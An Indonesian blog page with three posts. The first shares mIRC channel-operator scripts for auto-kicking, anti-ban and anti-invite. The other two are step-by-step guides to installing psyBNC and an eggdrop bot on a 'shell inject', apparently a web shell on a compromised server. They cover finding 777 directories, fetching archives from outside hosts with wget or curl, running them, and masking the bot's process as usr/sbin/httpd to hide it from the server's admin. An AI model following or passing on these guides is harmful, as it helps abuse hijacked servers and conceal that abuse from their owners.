Showing posts with label Irc. Show all posts
Showing posts with label Irc. Show all posts

Wednesday, 25 January 2012

Script mIRC Buat Operator dan User IRC

Bagi yang sering chating di mIRC apalagi bagi anda yang menjadi Operator chanel di Irc pastilah anda perlu memodifikasi mIRC anda dengan script - script yang dapat membantu memudahkan anda sebagi operator chan yang melayani berbagai user chat irc.Kali ini saya mau berbagi sedikit script mIRC yang dulu pernah di pake waktu sering - seringnya maenan mIRC dan ada sedikit tambahan dari editan teman yang mungkin bisa anda gunakan untuk memodifikasi mIRC anda. Banyak diantaranya seperti antiban, anti banned, anti spam, antideop, antispam, anti slap atau balas slaps, seen, unban lock, autojoin, proteksi query, war, dan lain lain. 

Langsung saja berikut Script mIRC buat Operator dan User Irc:
Caranya copy paste script di bawah ini ke mIRC anda kedalam script editor:

Langsung saja berikut Script mIRC buat Operator dan User Irc:
caranya copy paste script di bawah ini ke mIRC anda

1. ANTIBANNED Script:

#antiban on
on *:BAN:#:{
  if (($banmask iswm $address($me,5)) && ($nick != $me)) {
    if ($me isop $chan) {
      kick $chan $nick 2[ 8,1- 14,1Don`t Ban 9 $me 8,1- 2 ] 4¿ artinYa Hati² dijalan ¿ | /notice $nick 4Don`t Ban 9 $me  4¿ artinYa Hati² dijalan ¿
      raw -q mode $chan -b+b $banmask $Nick
    }
    else {
      raw -q cs unban $chan $me
      chanserv kickban $chan $nick 2[ 8,1- 14,1Don`t Ban 9 $me 8,1- 2 ] 4¿ artinYa Hati² dijalan ¿
      notice $nick 4Don`t Ban 9 $me  4¿ artinYa Hati² dijalan ¿
    }
  }
}

2. ANTI CAPSLOCK

#caps on
alias allowedcaps { return 70 }
on @*:TEXT:*:#:{
  if ($len($1-) < 10) { return }
  var %caps.letters = $calc($len($1-) + 1 - $len($removecs(A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z)))
  var %caps = $calc($len($1-) - $len($removecs($1-,($1-),A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z)))
  var %caps.percent = $round($calc(%caps / %caps.letters * 100),0)
  if ((%caps.percent > $allowedcaps) && ($nick !isop #)) {
    /kick # $nick 2[ 8,1- 14,1Jangan Pake CAPSLOCK 9 $nick 8,1- 2 ]
  }
}
#caps end

#ascii off
alias allowedcaps { return 70 }
on @*:TEXT:*:#:{
  if ($len($1-) < 10) { return }
  var %caps.letters = $calc($len($1-) + 1 - $len($removecs(Ç,ä,ê,î,É,ö,ó,Œ,Ð,ø,ë,ì,æ,ò,ƒ,ú,ú,š,þ,Ø,é,è,Ä,Æ,û,á,ß,œ,£,ý,â,ç,ç,ï,Å,ù,Ñ,í,¥,Š,×,Ý,Ž)))
  var %caps = $calc($len($1-) - $len($removecs($1-,($1-),Ç,ä,ê,î,É,ö,ó,Œ,Ð,ø,ë,ì,æ,ò,ƒ,ú,ú,š,þ,Ø,é,è,Ä,Æ,û,á,ß,œ,£,ý,â,ç,ç,ï,Å,ù,Ñ,í,¥,Š,×,Ý,Ž)))
  var %caps.percent = $round($calc(%caps / %caps.letters * 75),0)
  if ((%caps.percent > $allowedcaps) && ($nick !isop #)) {
    /kick # $nick 2[ 8,1- 14,1Drop Ascii Font 9 $nick 8,1- 2 ]
  }
}
#ascii end


#antiinvite on
on 1:notice:* come to #*:#:ban # $nick $$1 3 | /kick # $nick 2[ 8,1- 14,1Don't Invite 8,1- 2 ] !
on 1:notice:* join #*:#:ban # $nick $$1 3 | /kick # $nick 2[ 8,1- 14,1Don't Invite 8,1- 2 ] !
on 1:notice:* /join #*:#:ban # $nick $$1 3 | /kick # $nick 2[ 8,1- 14,1Don't Invite 8,1- 2 ] !
on 1:notice:come to #*:#:ban # $nick $$1 3 | /kick # $nick 2[ 8,1- 14,1Don't Invite 8,1- 2 ] !
on 1:notice:join #*:#:ban # $nick $$1 3 | /kick # $nick 2[ 8,1- 14,1Don't Invite 8,1- 2 ] !
on ^*:open:?: {
  if (*#* iswm $1- ) {
    var %c $comchan($nick,0)
    while (%c) {
      msg $nick 2[ 8,1- 14,1Don't Invite 8,1- 2 ] !
      if ($me isop $comchan($nick,%c)) { ban $comchan($nick,%c) $nick 5 | kick $comchan($nick,%c) $nick 2[ 8,1- 14,1Don't Invite 8,1- 2 ] !  }
      ignore -u120 $nick
      dec %c
    }
    haltdef
  }
}
on 1:invite:#:{
  if $level($maddress($address($nick,5))) == 10 { goto end }
  set %comchan 1
  :check
  if %comchan > $comchan($nick,0) { goto end }
  if $me isop $comchan($nick,%comchan) { goto invkick }
  ; if $me isop $comchan($nick,%comchan) && $nick !isop $comchan($nick,%comchan) { goto invkick }
  inc %comchan 1
  goto check
  :invkick
  /ban $comchan($nick,%comchan) $nick 5
  kick $comchan($nick,%comchan) $nick 2[ 8,1- 14,1Don't Invite 8,1- 2 ] !
  inc %comchan 1
  goto check
  :end
  unset %comchan
}
#antiinvite end

dialog kh {
  title "kick + kick"
  size -1 -1 117 72
  option dbu
  tab "info", 1, 4 3 108 51
  text "mengkick", 5, 12 23 31 8, tab 1
  edit %kick.count, 6, 44 21 16 10, tab 1 center
  text "kali", 7, 62 23 15 8, tab 1
  button "reset", 8, 9 37 20 10, tab 1
  text "counter", 9, 32 39 21 8, tab 1
  tab "option", 2
  check "tampilkan jumlah kick", 10, 12 23 93 10, tab 2
  button "msg", 11, 9 37 20 10, tab 2
  text "msg ke channel ?", 12, 31 38 79 8, tab 2
  button "ok", 4, 93 59 20 10, ok

}

On *:Dialog:kh:sclick:8:{ if ($did == 8) { set %kick.count 0 } | if ($did == 8) did -ra kh 6 %kick.count }
On *:Dialog:kh:sclick:10:{ if ($did(10).state == 1) { set %show.kc On } | else { set %show.kc Off } }
On *:Dialog:kh:sclick:11:{ if ($active = Status Window) { halt } | else msg $active 4 $me udah ngekick 4 %kick.count kali! }
On *:Dialog:kh:init:*:{ if (%show.kc == On) { did -c kh 10 } }

alias kick {
  if (!%kick.count == $null) {
    set %kick.count 0
  }
  inc %kick.count
  if (%show.kc == On) { raw -q kick  $1 $2 : $+ $3-  [No: $+ %kick.count $+ ] }
  else { raw -q kick $1 $2 : $+ $3- }
}

3. ANTI SLAPS atau BALAS SLAPS

#ACTION on
on 1:ACTION:$(* $+ $me $+ *):*: {if ($me isin $1-) { describe $target juga $replace($1-,$me,$nick)
}

4. ANTI DEOP

on @*:join:#sundux:{
  if (User* iswm $nick) {
    mode # +b User*!*@*
    kick # $nick 2[ 8,1- 14,1Gåñtî ñî©Kñ¥å ÐøñG 8,1- 2 ] | /notice $nick 2Cara Ganti nick ketik--> /nick nickkamu contoh --> /nick BuDi
  }
}
on 1:NICK:{
  if (User* iswm $newnick) { 
    if ($newnick ison #sundux) { mode #sundux +b $newnick | kick #sundux $newnick 2[ 8,1- 14,1Gåñtî ñî©Kñ¥å ÐøñG 8,1- 2 ] | /notice $newnick 2Cara Ganti nick ketik--> /nick nickkamu contoh --> /nick BuDi }   
    if ($newnick ison #sundux) { mode #sundux +b $newnick | kick #sundux $newnick 2[ 8,1- 14,1Gåñtî ñî©Kñ¥å ÐøñG 8,1- 2 ] | /notice $newnick 2Cara Ganti nick ketik--> /nick nickkamu contoh --> /nick BuDi }
    if ($newnick ison #sundux) { mode #sundux +b $newnick | kick #sundux $newnick 2[ 8,1- 14,1Gåñtî ñî©Kñ¥å ÐøñG 8,1- 2 ] | /notice $newnick 2Cara Ganti nick ketik--> /nick nickkamu contoh --> /nick BuDi }
  }
}
#kick on
on *:kick:#:{ if $knick iswm $me && $nick isop $chan {
    cs kick # $nick 2[ 8,1- 14,1JåñGåñ Kî©K 9 $me 8,1- 2 ] !
  }
}

on *:DEOP:#:{
  if (($opnick == $me) && ($nick != $me)) {
ChanServ op $chan $me | /chanserv kick $chan $nick 2[ 8,1- 15,1JåñGåñ DeOp 9 $me 8,1- 2 ] ! } }
}
#deop end

 
Untuk Script mIRC yang lainnya mudahnya dan lengkapnya and bisa download Script mIRC for Operator Kumpulan saya di bawah ini








Selengkapnya...

Friday, 12 August 2011

Cara Membuat PsyBNC pada Shell Inject

Cara Membuat PsyBNC pada shell inject sebagai berikut :

1. Masuk ke dalam shell inject anda

2. Pilih direktory yang memiliki perm 777 ( bisa di eksekusi ) kalo tidak ketemu gunakan perintah find / -type d -perm 777 untuk mencari direktori yang memiliki perm 777.


3. Jika sudah temukan direktori memiliki perm 777 langsung masukin perintah ini :
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-9.tar.gz atau perintah lwp-download http://www.psybnc.at/download/beta/psyBNC-2.3.2-9.tar.gz atau bisa juga dengan perintah curl -f -O http://www.psybnc.at/download/beta/psyBNC-2.3.2-9.tar.gz tinggal pilih perintah yang mana yang bisa digunakan untuk memasukkan psy.tar.gz ke dalam shell inject..kemudian perintah selanjutnya

4. tar -zxvf psyBNC-2.3.2-9.tar.gz ( untuk mengekstrak file psy.tar.gz di shell )

5. rm -fr psyBNC-2.3.2-9.tar.gz

6. cd .psy (masuk ke direktori .psy)

7. ./config ident port (contoh : ./config admin 12000) (jangan lupa tanda . di depannya)

8. ./fuck

9. ./run

jadi di untuk login ke psybnc di mirc anda akan menggunakan ident:admin dan menggunakan /server ip-shellanda:12000 (contoh : /server 192.52.45.15:12000)

silahkan di coba
Selengkapnya...

Friday, 22 July 2011

Cara Membuat EGGDROP dan Menjalankan Pada Shell Inject

Bagi para master IRC (Internet Relay Chat) pastinya sudah ahli soal urusan membuat Bot seperti ini tapi saya hanya sekedar mau posting saja untuk berbagi soal bagaimana cara membuat EGGDROP pada server IRC langsung saja cara membuat EGGDROP pada shell inject.

1 pertama login ke shell inject anda

2 wget https://sites.google.com/site/sunduxblogspotcom/download/eggdrop.tar.gz

3 tar -zxvf eggdrop.tar.gz

4 cd .dat

5 ./ayu conf botnick identbot ip-shellanda channel owner
contoh :
./ayu conf Guardku ident 192.168.0.15 jakarta SuNDux (channel nggak pakai # untuk melihat ip shell anda ketik –> /sbin/ifconfig | grep inet )

6 ./run conf usr/sbin/httpd <- untuk menjalankan eggddrop sekaligus menyamarkan background proses eggdrop dari admin nya web (biar agak aman.Red)

7 tunggu di mirc sampai botnya join apa enggak ( kalo enggak berarti ya nasib qeqeqe..)

8 kalo botnya udah join di mirc ketik /msg botnick hello <– di mirc

9 kemudian auth + passnya ke eggdrop anda dan eggdrop siap untuk di command . selamat mencoba.

Untuk file eggdropnya bisa di download di bawah ini
Selengkapnya...